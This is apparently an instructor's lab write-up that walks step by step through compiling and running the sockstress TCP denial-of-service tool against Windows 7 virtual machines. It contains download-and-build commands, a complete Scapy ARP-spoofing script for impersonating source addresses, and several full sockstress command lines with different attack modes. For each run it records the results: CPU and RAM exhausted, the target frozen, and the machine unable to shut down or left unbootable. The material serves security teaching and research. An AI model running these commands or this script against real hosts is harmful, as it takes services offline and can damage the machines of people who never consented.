I searched for working code to test it a few years ago, but couldn't find any, and I thought it had been patched.
Then, in December of 2012, @seeveeare contacted me on Twitter and said it was really powerful and I should check it out.
At first it seemed weak to me, because a cursory reading of the Wikipedia page made me expect it to kill the target OS completely. But then I read it more carefully and realized that when attacking from a single IP address, and for only a brief time, I should only expect to render a single service unavailable, not kill the whole OS.
This is a very dangerous attack, because it can be performed remotely, over the Internet. And, for some reason, it hasn't been well patched yet.
Only once in the eight tests summarized above did the server freeze and require a hard power reset--after the last Slackware attack.
Even when the attack stops, the RAM doesn't become available again quickly.
Someone on Twitter told me there was a script that made sockstress compile on BackTrack, so I searched for it but could not find it.
However, I decided to try compiling it on Kali Linux, and it works! This is really good news, making it much easier for students and researchers to test the attack.
Here are the four steps I used to get sockstress working, each of which is detailed below:
On your Kali Linux machine, execute this command, replacing the IP address with your target's IP address:
nmap 172.16.246.133
Make a note of the open TCP ports
it finds, as shown below:
On your Kali Linux machine, in a new Terminal window, execute this command, replacing the IP address with your target's IP address:
ping 172.16.246.133
Leave the pings running, to keep the
ARP resolution of the target machine current.
apt-get update
apt-get install libpcap0.8-dev libssl-dev -y
wget http://samsclass.info/123/proj10/sockstress-outpost24.tar.gz
tar xzf sockstress-outpost24.tar.gz
cd sockstress
./configure
nano config.h
In nano, change
#include <pcap.h>
to
#include </usr/include/pcap.h>
as shown below:
Type Ctrl+X, Y, Enter to save the file.
Execute this command:
make
I saw a couple pages of warnings go by, but nothing fatal, as shown below:
wget http://samsclass.info/123/proj10/arppoi
chmod a+x arppoi
Arppoi is a simple Scapy script, as shown
below:
Execute this command:
nano arppoi
Change the MAC address to the MAC address
of your Kali Linux machine.
Press Ctrl+X, Y, Enter to save your file.
Execute this command:
./arppoi
Leave this program running, so all new source IP
addresses will resolve to the Kali Linux
machine's MAC address.
./sockstress -A -c -1 -d 172.16.246.133 -m -1 -Ms -p 21,23,80,135,443,445,593,3388,3389,5985,47001,48885,49152,49153,49154,49155,49156,49157,49159 -r 100000 -s 172.16.246.0/25 -vv
The Attacker is a Slackware 10.2 VMware virtual machine, with 1024 MB of RAM.
The Target is a Windows 7 Pro VMware virtual machine, with only 512 MB of RAM, to make it especially vulnerable. It's running several services: HTTP on ports 80 and 8080, HTTPS, FTP on ports 21 and 1021, RDP on port 3389, and Telnet, as shown below:
Before the attack, the system uses almost no CPU and 341 MB of RAM.
./sockstress -A -c -1 -d 192.168.11.4 -m -1 -Ms -p 21,23,80,135,445,1021,3389,8080 -r 100000 -s 192.168.11.128/25 -vv
Here's the attack about 20 seconds in--RAM and CPU maxed out:
I let the attack run for five minutes and then stopped it. Here's the result just after the attack stopped--the CPU drops to zero immediately, but the RAM consumption stays high, at 487 MB:
Here's the status five minutes after the attack stopped--RAM use is still high, at 473 MB:
Even after 20 minutes, RAM usage is still high, at 475 MB. It seems like this server won't ever recover without a reboot.
The server won't shut down at all. Clicking Start, "Shut Down" has no effect except to increase RAM usage back to the max, as it makes an ineffectual struggle to finish all the hung responses, as shown below:
It's necessary to just pull the power out now. This may be the reason the Wikipedia page warns people that a server may become unbootable--I know hard power failures are bad for servers.
Target is a Windows 7 Pro VMware virtual machine, with only 512 MB of RAM, to make it especially vulnerable. It's also using Bridged networking.
The target is running IIS, serving a default Web page. It has an IP address of 192.168.11.4. As you can see, NETSTAT -AN shows very few entries at the start, before the attack starts:
On the Attacker, I execute this command to perform the ARP spoofing:
./arppoi
cd
cd sockstress
./sockstress -A -c -1 -d 192.168.11.4 -m -1 -Mz -p 80 -r 100000 -s 192.168.11.128/25 -vv
This sends attacks at a rate of 100000 per second, from spoofed source addresses in the 192.168.11.128/25 subnet. Other details are on the
Wikipedia page.
I don't really get 100000 connections per second. For about 10-20 seconds, I see connections made at the rate of about 4000 per second, as shown below. On the target, NETSTAT -AN now shows no TCP connections at all, which is obviously wrong since the attacker is completing thousands of handshakes per second.
After another 10-20 seconds, the target is heavily burdened, and the rate of new connections slows to around 3000 per second, as shown below.
Within a minute or so, the target is frozen: the mouse gives either no response, or a partial response several seconds after a mouse motion. The rate of new connections has fallen to around 2000 per second.
The frozen Windows 7 screen is shown below on the right, with the attacker on the left:
After the attack stops, the target becomes responsive to the mouse immediately. But even several minutes later, NETSTAT -AN still shows no TCP connections at all. That's obviously wrong, since I can open the Web page from the Slackware attacker. There is still a listening port, and at least one active connection, but NETSTAT -AN doesn't report it.
This attack uses a Windows size of 4 bytes, with this command line:
./sockstress -A -c -1 -d 192.168.11.4 -m -1 -Mw -p 80 -r 100000 -s 192.168.11.128/25 -vv
This was even more
effective, freezing the Windows 7 machine instantly.
It still responded to the mouse very slowly; after
about 45 seconds of very careful clicking I was able
to open Task Manager and run NETSTAT -AN,
showing that, once again, the TCP stack seems
invisible and both the RAM and CPU are exhausted.
./sockstress -A -c -1 -d 192.168.11.4 -m -1 -Ms -p 80 -r 100000 -s 192.168.11.128/25 -vv
It took about ten seconds to freeze the
Windows 7 target; as you can see, NETSTAT -AN
didn't even respond within the first minute or so:
After a few minutes, the CPU came down somewhat, and the Windows 7 target machine responded almost normally. It seems that Windows 7 adapts to this attack.
NETSTAT -AN still shows an incorrect response, omitting all the TCP information.
Also, this attack made Windows 7 unable to restart normally, which I did not see with the previous attacks.
It uses this command line:
./sockstress -A -c -1 -d 192.168.11.4 -m -1 -MS -p 80 -r 100000 -s 192.168.11.128/25 -vv
This made the machine somewhat unresponsive
instantly; as you can see,
NETSTAT -AN gave no response. However, it still
gave some response to mouse clicks.
After about two minutes, NETSTAT -AN finally gave the usual incorrect response, but the Windows 7 target showed no ability to adapt to this attack--the CPU just stays at 100% as long as the attack continues:
When the attack stopped, the CPU came down within a few seconds, and the machine could shut down normally.
./sockstress -A -c -1 -d 192.168.11.4 -m -1 -MR -p 80 -r 100000 -s 192.168.11.128/25 -vv
Although the CPU went up to 100% within seconds,
the mouse remained responsive, and NETSTAT -AN
actually showed the connections,
as shown below:
It continued to scroll for several minutes, and showed no sign of ever stopping, as shown below.
When I stopped the attack, the CPU stayed at 100% until I stopped the NETSTAT -AN process with Ctrl+C. Then it reduced to almost 0% within a few seconds, and the Windows 7 target was able to shut down normally.
But it compiles on Backtrack Linux version 5 R3.
Download it from:
https://defuse.ca/sockstress.htmMD5: 3847107d91a1a87b2de0cb865bd03aa4
The only problem with this version is that it won't compile on Backtrack Linux. You need Slackware.
Download it from:
https://defuse.ca/sockstress.htmMD5: 292ad9f40a472883b34e4dbefe5f6c35
Slackware 14 (VirtualBox virtual machine)I have seen a claim that this attack works better with real machines than virtual machines, which makes sense-most things that involve ARP poisoning work better with real machines.
But I have only used the virtual machines so far.
I also used good old Backtrack 5 R3, which you can download here:
http://www.backtrack-linux.org/downloads/
To spoof those addresses, you must use some tool to generate ARP replies when the target sends ARP requests trying to find the spoofed addresses.
The Wikipedia Page says to use the fantaip tool for this purpose. However, I was unable to make that tool work on any operating system, even after installing unicornscan and all its dependencies.
So I wrote my own ARP spoofer using scapy.
If you are using BackTrack, scapy is already installed. If you are using Slackware, see the detailed instructions below to install scapy.
cd
pico arppoi
Paste in this code, replacing the
spoofed IP range and attacker MAC address as
indicated:
#!/usr/bin/env python
import sys
from scapy.all import *
def findARP(p):
op = p.sprintf("%ARP.op%")
if op == "who-has": # Only respond to ARP Requests
pdst = p.sprintf("%ARP.pdst%")
len = pdst.__len__()
if len == 14: # Addr like 192.168.11.128
if pdst > "192.168.11.127": # 192.168.11.128/25
if pdst < "192.168.11.255":
psrc = p.sprintf("%ARP.psrc%")
print "ARP detected: ", op, " ", pdst, " tell ", psrc
B = ARP()
B.op = "is-at"
B.pdst = psrc
B.psrc = pdst
B.hwsrc = "00:0c:29:32:85:64" # MAC Addr of Sockstress Attacker
B.hwdst = "ff:ff:ff:ff:ff:ff"
print "Sending ", B.summary()
send(B/Padding("X"*18))
sniff(prn=findARP)
Save the file with Ctrl+X, Y, Enter.
Execute this command to make the program executable:
chmod a+x arppoi
Tips: DHCP
To renew a DHCP address in Slackware, use dhcpcd -n eth0VMware Tools
To update vmware tools, make the rc.d directories as explained here:http://communities.vmware.com/thread/37916
An error stops the last step, complaining about the /etc/pam.d directory.
Do this:
mkdir /etc/pam.d
Then execute /usr/bin/vmware-config-tools.pl
kernel headers are at /usr/include
More tips here:
http://www.basicconfig.com/software/vmware_tools_slackware
Shared folders are at /mnt/hgfs/
cd
wget http://www.tcpdump.org/release/libpcap-1.3.0.tar.gz
tar xzf libpcap-1.3.0.tar.gz
cd libpcap-1.3.0
./configure
make
make install
cd
wget http://www.tcpdump.org/release/tcpdump-4.3.0.tar.gz
tar xzf tcpdump-4.3.0.tar.gz
cd tcpdump-4.3.0
./configure
make
make install
cd
wget http://samsclass.info/123/proj10/sockstress-outpost24.tar.gz
tar xzf sockstress-outpost24.tar.gz
cd sockstress
./configure
make
cd
wget http://www.python.org/ftp/python/2.7.3/Python-2.7.3.tar.bz2
tar jxf Python-2.7.3.tgz
cd Python-2.7.3
./configure
make
make install
Save the scapy-latest.zip file to the default location, which Firefox calls "Desktop", although it's really /root
cd
unzip scapy-latest.zip
cd scapy-2.*
python setup.py install
I don't recommend it, because it was much slower than the Slackware 10.2 machine in my tests. I don't know if the problem is Slackware or VirtualBox.
wget http://samsclass.info/123/proj10/sockstress-outpost24.tar.gz
tar xzf sockstress-outpost24.tar.gz
cd sockstress
./configure
make
Save the scapy-latest.zip file in the /root directory.
cd /root
unzip scapy-latest.zip
cd scapy-2.*
python setup.py install
As you can see below, it exhausts all available requests, after just a few seconds.
So, it's worth checking out. Especially since variants of the attack are supposed to kill the target OS entirely, even to the point of making it unbootable.
Get sockstress source code here: https://defuse.ca/sockstress.htm